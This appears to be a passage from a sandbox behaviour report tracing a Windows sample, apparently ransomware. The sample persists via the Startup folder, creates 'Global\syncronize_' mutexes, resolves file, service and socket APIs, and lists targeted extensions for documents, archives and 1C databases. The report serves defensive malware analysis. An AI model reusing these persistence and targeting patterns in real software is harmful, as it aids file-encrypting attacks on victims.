(_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0117.391] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0117.391] GetProcessHeap () returned 0x1723e9c0000 [0117.391] RtlFreeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, BaseAddress=0x1723e9c1a40) returned 1 [0117.391] GetProcessHeap () returned 0x1723e9c0000 [0117.391] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0x12) returned 0x1723e9c1a40 [0117.391] _get_osfhandle (_FileHandle=1) returned 0x254 [0117.391] SetConsoleMode (hConsoleHandle=0x254, dwMode=0x0) returned 0 [0117.391] _get_osfhandle (_FileHandle=0) returned 0x248 [0117.391] SetConsoleMode (hConsoleHandle=0x248, dwMode=0x0) returned 0 [0117.392] CreateProcessW (in: lpApplicationName="C:\\WINDOWS\\system32\\mode.com", lpCommandLine="mode con cp select=1251", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\FD1HVy\\Desktop", lpStartupInfo=0x10a4eff1c0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="mode con cp select=1251", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x10a4eff198 | out: lpCommandLine="mode con cp select=1251", lpProcessInformation=0x10a4eff198*(hProcess=0x9c, hThread=0x98, dwProcessId=0xb9c, dwThreadId=0x42c)) returned 1 [0117.835] CloseHandle (hObject=0x98) returned 1 [0117.835] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0117.835] GetProcessHeap () returned 0x1723e9c0000 [0117.835] RtlFreeHeap (HeapHandle=0x1723e9c0000, Flags=0x0, BaseAddress=0x1723e9c8500) returned 1 [0117.835] GetEnvironmentStringsW () returned 0x1723e9c8500* [0117.835] GetProcessHeap () returned 0x1723e9c0000 [0117.835] RtlAllocateHeap (HeapHandle=0x1723e9c0000, Flags=0x8, Size=0xacc) returned 0x1723e9db7a0 [0117.835] FreeEnvironmentStringsA (penv="=") returned 1 [0117.835] LoadLibraryExW (lpLibFileName="NTDLL.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffcea380000 [0117.835] GetProcAddress (hModule=0x7ffcea380000, lpProcName="NtQueryInformationProcess") returned 0x7ffcea4256b0 [0117.835] NtQueryInformationProcess (in: ProcessHandle=0x9c, ProcessInformationClass=0x0, ProcessInformation=0x10a4efe698, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x10a4efe698, ReturnLength=0x0) returned 0x0 [0117.835] ReadProcessMemory (in: hProcess=0x9c, lpBaseAddress=0xf175310000, lpBuffer=0x10a4efe6d0, nSize=0x7a0, lpNumberOfBytesRead=0x10a4efe690 | out: lpBuffer=0x10a4efe6d0*, lpNumberOfBytesRead=0x10a4efe690*=0x7a0) returned 1 [0117.836] WaitForSingleObject (hHandle=0x9c, dwMilliseconds=0xffffffff) Thread: id = 24 os_tid = 0xbd8 Process: id = "3" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x2b48000" os_pid = "0x900" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x1378" cmd_line = "\\??\\C:\\WINDOWS\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\WINDOWS" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 9 os_tid = 0xd98 Thread: id = 20 os_tid = 0xce8 Thread: id = 21 os_tid = 0x4ec Thread: id = 22 os_tid = 0x680 Thread: id = 23 os_tid = 0xd4c Process: id = "4" image_name = "mode.com" filename = "c:\\windows\\system32\\mode.com" page_root = "0xee95000" os_pid = "0xb9c" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "2" os_parent_pid = "0x1378" cmd_line = "mode con cp select=1251" cur_dir = "C:\\Users\\FD1HVy\\Desktop\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000fd03" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 25 os_tid = 0x42c Thread: id = 28 os_tid = 0x4fc Process: id = "5" image_name = "finbbp.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\finbbp.exe" page_root = "0x49702000" os_pid = "0xda4" os_integrity_level = "0x2000" os_privileges = "0x40800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x978" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\finbbp.exe\" " cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NQDPDE\\FD1HVy" bitness = "32" os_groups = "NQDPDE\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00011e1f" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 29 os_tid = 0xda8 [0215.922] LoadLibraryA (lpLibFileName="kernel32.dll") returned 0x76dc0000 [0215.922] GetProcAddress (hModule=0x76dc0000, lpProcName="GetProcAddress") returned 0x76dd51b0 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="GetModuleHandleW") returned 0x76dd50d0 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="FindNextFileW") returned 0x76e2ee40 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="FindClose") returned 0x76e2ed70 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="MoveFileW") returned 0x76e0e500 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="GetFileSizeEx") returned 0x76e2ef40 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="GetModuleFileNameW") returned 0x76dd5090 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="GetFileAttributesW") returned 0x76e2ef10 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="ExitProcess") returned 0x76dd3cb0 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="GetCommandLineW") returned 0x76dd4cc0 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="GetComputerNameW") returned 0x76e032c0 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="GetComputerNameA") returned 0x76e03780 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateMutexW") returned 0x76e2eb70 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrlenW") returned 0x76dd6c70 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrlenA") returned 0x76dd6c50 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="GetCurrentProcess") returned 0x76e2ea10 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="WaitForSingleObject") returned 0x76e2eca0 [0215.923] GetProcAddress (hModule=0x76dc0000, lpProcName="GetLogicalDrives") returned 0x76dd0d20 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="GetTickCount") returned 0x76e2dd50 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="DeleteFileW") returned 0x76e2ed40 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="WideCharToMultiByte") returned 0x76dd6b10 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="InitializeCriticalSectionAndSpinCount") returned 0x76e2ebb0 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="Sleep") returned 0x76dd6760 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="LeaveCriticalSection") returned 0x76edb250 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="ReadFile") returned 0x76e2f090 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateFileW") returned 0x76e2ed10 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="OpenMutexW") returned 0x76e2ebf0 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="EnterCriticalSection") returned 0x76edb2d0 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="WaitForMultipleObjects") returned 0x76e2ec80 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrcmpiW") returned 0x76dd6bf0 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="lstrcmpiA") returned 0x76dd6bd0 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="DeleteCriticalSection") returned 0x76ebfb90 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="ReleaseMutex") returned 0x76e2ec20 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="CloseHandle") returned 0x76e2eab0 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="GetVersion") returned 0x76dd56c0 [0215.924] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateThread") returned 0x76dd46b0 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="ExpandEnvironmentStringsW") returned 0x76dd4a40 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="QueryPerformanceCounter") returned 0x76dd5da0 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="QueryPerformanceFrequency") returned 0x76dd5dc0 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="GetCurrentProcessId") returned 0x76e2ea20 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="SetFileAttributesW") returned 0x76e2f100 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="GetVolumeInformationW") returned 0x76e2f020 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="WriteFile") returned 0x76e2f180 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="SetFilePointerEx") returned 0x76e2f130 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="SetEndOfFile") returned 0x76e2f0e0 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="FindFirstFileW") returned 0x76e2edf0 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="GetProcessHeap") returned 0x76dd51f0 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="HeapReAlloc") returned 0x76ecf630 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="HeapAlloc") returned 0x76ed2dc0 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="HeapFree") returned 0x76dd57f0 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="CreatePipe") returned 0x76dd4590 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="SetHandleInformation") returned 0x76e2eae0 [0215.925] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateProcessW") returned 0x76dd4610 [0215.926] GetProcAddress (hModule=0x76dc0000, lpProcName="CompareStringW") returned 0x76dd4430 [0215.926] GetProcAddress (hModule=0x76dc0000, lpProcName="CompareStringA") returned 0x76dd4410 [0215.926] GetProcAddress (hModule=0x76dc0000, lpProcName="OpenProcess") returned 0x76dd5cc0 [0215.926] GetProcAddress (hModule=0x76dc0000, lpProcName="TerminateProcess") returned 0x76dd67e0 [0215.926] GetProcAddress (hModule=0x76dc0000, lpProcName="GetSystemTime") returned 0x76dd54e0 [0215.926] GetProcAddress (hModule=0x76dc0000, lpProcName="SystemTimeToFileTime") returned 0x76dd67a0 [0215.926] GetProcAddress (hModule=0x76dc0000, lpProcName="GetLastError") returned 0x76dd5010 [0215.926] GetProcAddress (hModule=0x76dc0000, lpProcName="CreateToolhelp32Snapshot") returned 0x76e0edc0 [0215.926] GetProcAddress (hModule=0x76dc0000, lpProcName="Process32NextW") returned 0x76e0f8f0 [0215.926] GetProcAddress (hModule=0x76dc0000, lpProcName="Process32FirstW") returned 0x76e0f750 [0215.926] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x74720000 [0216.038] GetProcAddress (hModule=0x74720000, lpProcName="RegOpenKeyExW") returned 0x7473e580 [0216.038] GetProcAddress (hModule=0x74720000, lpProcName="RegQueryValueExW") returned 0x7473e5a0 [0216.038] GetProcAddress (hModule=0x74720000, lpProcName="RegSetValueExW") returned 0x7473f530 [0216.039] GetProcAddress (hModule=0x74720000, lpProcName="RegCloseKey") returned 0x7473ed60 [0216.039] GetProcAddress (hModule=0x74720000, lpProcName="OpenProcessToken") returned 0x7473efb0 [0216.039] GetProcAddress (hModule=0x74720000, lpProcName="GetTokenInformation") returned 0x7473ee90 [0216.039] GetProcAddress (hModule=0x74720000, lpProcName="OpenSCManagerW") returned 0x74740540 [0216.039] GetProcAddress (hModule=0x74720000, lpProcName="OpenServiceW") returned 0x7473fa20 [0216.039] GetProcAddress (hModule=0x74720000, lpProcName="CloseServiceHandle") returned 0x7473fc00 [0216.039] GetProcAddress (hModule=0x74720000, lpProcName="ControlService") returned 0x747526d0 [0216.039] GetProcAddress (hModule=0x74720000, lpProcName="QueryServiceStatus") returned 0x74742380 [0216.039] GetProcAddress (hModule=0x74720000, lpProcName="EnumDependentServicesW") returned 0x74752f70 [0216.039] GetProcAddress (hModule=0x74720000, lpProcName="EnumServicesStatusExW") returned 0x7473fc80 [0216.039] LoadLibraryA (lpLibFileName="user32.dll") returned 0x745e0000 [0216.175] GetProcAddress (hModule=0x745e0000, lpProcName="SystemParametersInfoW") returned 0x7460f210 [0216.175] LoadLibraryA (lpLibFileName="Shell32.dll") returned 0x75a10000 [0216.696] GetProcAddress (hModule=0x75a10000, lpProcName="ShellExecuteExW") returned 0x75b74730 [0216.696] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x76e90000 [0216.696] GetProcAddress (hModule=0x76e90000, lpProcName="NtQuerySystemInformation") returned 0x76f02070 [0216.696] LoadLibraryA (lpLibFileName="mpr.dll") returned 0x73890000 [0216.711] GetProcAddress (hModule=0x73890000, lpProcName="WNetCloseEnum") returned 0x73892640 [0216.711] GetProcAddress (hModule=0x73890000, lpProcName="WNetOpenEnumW") returned 0x73892790 [0216.711] GetProcAddress (hModule=0x73890000, lpProcName="WNetEnumResourceW") returned 0x73892410 [0216.711] LoadLibraryA (lpLibFileName="ws2_32.dll") returned 0x73ed0000 [0216.721] GetProcAddress (hModule=0x73ed0000, lpProcName="WSAStartup") returned 0x73ed5b40 [0216.722] GetProcAddress (hModule=0x73ed0000, lpProcName="socket") returned 0x73ee4510 [0216.722] GetProcAddress (hModule=0x73ed0000, lpProcName="send") returned 0x73ed5030 [0216.722] GetProcAddress (hModule=0x73ed0000, lpProcName="recv") returned 0x73ee0c50 [0216.722] GetProcAddress (hModule=0x73ed0000, lpProcName="connect") returned 0x73ed5410 [0216.722] GetProcAddress (hModule=0x73ed0000, lpProcName="closesocket") returned 0x73ee0910 [0216.722] GetProcAddress (hModule=0x73ed0000, lpProcName="gethostbyname") returned 0x73f06cb0 [0216.722] GetProcAddress (hModule=0x73ed0000, lpProcName="inet_addr") returned 0x73ee9160 [0216.722] GetProcAddress (hModule=0x73ed0000, lpProcName="ntohl") returned 0x73ed49d0 [0216.722] GetProcAddress (hModule=0x73ed0000, lpProcName="htonl") returned 0x73ed49d0 [0216.722] GetProcAddress (hModule=0x73ed0000, lpProcName="htons") returned 0x73ee8ff0 [0216.722] GetProcessHeap () returned 0x670000 [0216.723] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67ae38 [0216.723] QueryPerformanceCounter (in: lpPerformanceCount=0x19fdb0 | out: lpPerformanceCount=0x19fdb0*=8636283200) returned 1 [0216.723] GetTickCount () returned 0x113f9b8 [0216.723] GetCurrentProcessId () returned 0xda4 [0216.724] GetTickCount () returned 0x113f9b8 [0216.725] GetTickCount () returned 0x113f9b8 [0216.725] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x67ae88 [0216.725] GetVersion () returned 0x23f00206 [0216.725] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7) returned 0x686ef8 [0216.725] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x687ef0 [0216.725] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687ef0, Size=0x20) returned 0x67aeb0 [0216.725] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x67aeb0, Size=0x40) returned 0x6874c0 [0216.725] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x68d3c8 [0216.725] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_1C8IV8A") returned 0x0 [0216.725] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_1C8IV8A") returned 0x1ec [0216.726] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686ef8 | out: hHeap=0x670000) returned 1 [0216.726] lstrlenW (lpString="Global\\syncronize_") returned 18 [0216.726] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x6874c0 | out: hHeap=0x670000) returned 1 [0216.726] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x7) returned 0x686ef8 [0216.726] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x688118 [0216.726] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x688118, Size=0x20) returned 0x67aeb0 [0216.726] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x67aeb0, Size=0x40) returned 0x687988 [0216.726] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xfffe) returned 0x69d3d0 [0216.726] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\syncronize_1C8IV8U") returned 0x0 [0216.726] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\syncronize_1C8IV8U") returned 0x1f0 [0216.726] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x686ef8 | out: hHeap=0x670000) returned 1 [0216.726] lstrlenW (lpString="Global\\syncronize_") returned 18 [0216.726] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x687988 | out: hHeap=0x670000) returned 1 [0216.726] GetVersion () returned 0x23f00206 [0216.726] GetCurrentProcess () returned 0xffffffff [0216.727] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x19fd9c | out: TokenHandle=0x19fd9c*=0x1f4) returned 1 [0216.727] GetTokenInformation (in: TokenHandle=0x1f4, TokenInformationClass=0x14, TokenInformation=0x19fd98, TokenInformationLength=0x4, ReturnLength=0x19fda4 | out: TokenInformation=0x19fd98, ReturnLength=0x19fda4) returned 1 [0216.727] CloseHandle (hObject=0x1f4) returned 1 [0216.727] WaitForSingleObject (hHandle=0x1f0, dwMilliseconds=0x0) returned 0x0 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x14) returned 0x6860e8 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x687fc8 [0216.727] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687fc8, Size=0x20) returned 0x67aeb0 [0216.727] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x67aeb0, Size=0x40) returned 0x6874c0 [0216.727] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6874c0, Size=0x80) returned 0x686860 [0216.727] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686860, Size=0x100) returned 0x687d30 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x34) returned 0x688ad0 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x686da8 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x686ef8 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x686f08 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x687fc8 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x686f18 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x688118 [0216.727] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686f18, Size=0x8) returned 0x686f28 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x687f08 [0216.727] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686f28, Size=0x10) returned 0x687f68 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x687ff8 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x688130 [0216.727] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687f68, Size=0x20) returned 0x67aeb0 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x687ed8 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x6880d0 [0216.727] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686da8, Size=0x8) returned 0x686f18 [0216.727] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686ef8, Size=0x8) returned 0x686f28 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x686ef8 [0216.727] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x688010 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x686d78 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x688028 [0216.728] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686d78, Size=0x8) returned 0x686da8 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x688148 [0216.728] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686da8, Size=0x10) returned 0x688040 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x688160 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x686d78 [0216.728] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x688040, Size=0x20) returned 0x6ad980 [0216.728] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686f18, Size=0x10) returned 0x687ef0 [0216.728] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686f28, Size=0x10) returned 0x687f68 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x686da8 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x688040 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x686f18 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x688058 [0216.728] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686f18, Size=0x8) returned 0x686db8 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x686f18 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x687f80 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x686f28 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x688070 [0216.728] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x686f28, Size=0x8) returned 0x6aded0 [0216.728] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687ef0, Size=0x20) returned 0x6ad930 [0216.728] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687f68, Size=0x20) returned 0x6ada20 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8) returned 0x6adf00 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x688088 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x6adf40 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xa) returned 0x687ef0 [0216.728] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6adf40, Size=0x8) returned 0x6ade80 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x14) returned 0x6861c8 [0216.728] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x14) returned 0x686188 [0216.728] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0216.728] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x687d30 | out: hHeap=0x670000) returned 1 [0216.729] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x19fde8 | out: lpWSAData=0x19fde8) returned 0 [0216.735] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x687f68 [0216.735] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687f68, Size=0x20) returned 0x6ad958 [0216.735] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad958, Size=0x40) returned 0x687790 [0216.735] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687790, Size=0x80) returned 0x6b2f48 [0216.735] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b2f48, Size=0x100) returned 0x687d30 [0216.735] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x687f68 [0216.735] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x687f68, Size=0x20) returned 0x6ad9a8 [0216.736] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6ad9a8, Size=0x40) returned 0x6874c0 [0216.736] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6874c0, Size=0x80) returned 0x6b2f48 [0216.736] RtlReAllocateHeap (Heap=0x670000, Flags=0x0, Ptr=0x6b2f48, Size=0x100) returned 0x688268 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc) returned 0x687f68 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x6adf80 [0216.736] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x10) returned 0x6b3158 [0216.736] RtlReAllocateHeap (Heap=0x670000, 